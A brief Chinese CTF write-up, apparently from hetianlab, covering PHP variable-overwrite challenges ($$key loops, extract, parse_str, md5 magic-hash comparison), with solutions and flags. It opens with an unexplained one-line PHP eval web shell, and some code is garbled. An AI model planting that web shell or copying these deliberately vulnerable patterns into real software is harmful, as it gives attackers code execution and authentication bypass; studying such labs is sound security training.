旧文,师傅们随便看看
<script language="pHp">@eval($_POST['UzJu'])</script>
<?php include "flag.php"; $_403 = "Access Denied"; $_200 = "Welcome Admin"; if ($_SERVER["REQUEST_METHOD"] != "POST"){ //需要POST方法 die("hetianlab flag is here :biubiubiu"); }if (!isset($_POST["flag"])){ //需要POST参数=flag die($_403); }foreach ($_GET as $key => $value){ //遍历GET方法所传值 $$key = $$value; }foreach ($_POST as $key => $value){ //遍历POST方法所传值 $$key = $value; }if ($_POST["flag"] !== $flag){ die($_403); } echo "This is your flag : ". $flag . "\n"; die($_200); ?>
题目描述
查看源代码
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <title>学会变量覆盖</title> </head> <body> <!-- $flag='xxxx': extract($_GET): if (isset($gift)) Scontent =@trim(file_get_contents($flag)): if (Sgift = $content) echo"flag else echo ' oh . . ' ; --> </body> </html>
判断gift变量是否存在,否则执行判断 File_get_contents读取flag传给content 判断gift 是否等于content,如果等于content就输出flag
构造gift=&flag= 两个值都为空,判断相等 flag{hetianlab}
源代码
<?php highlight_file('source.txt'); echo "<br><br>"; $flag = 'xxxxxxxx'; $msg_giveme = 'Give me the flag!'; $msg_getout = 'No this. Get out!'; if(!isset($_GET['flag']) && !isset($_POST['flag'])){ exit($msg_giveme); } if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ exit($msg_getout); } foreach ($_POST as $key => $value) { $$key = $value; } foreach ($_GET as $key => $value) { $$key = $$value; } echo 'the flag is : ' . $flag; ?>
flag{asdhetianlab}
<?php header("Content-Type: text/html;charset=utf-8"); error_reporting(0); if (empty($_GET['id'])) { show_source(__FILE__); die(); } else { include ('flag.php'); $a = "www.hetianlab.com "; $id = $_GET['id']; @parse_str($id); if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) { echo $flag; } else { exit('其实很简单其实并不难!'); } } ?>
Flag:flag{ff98f887ddaaad88}
那个17张牌太骚了哈哈哈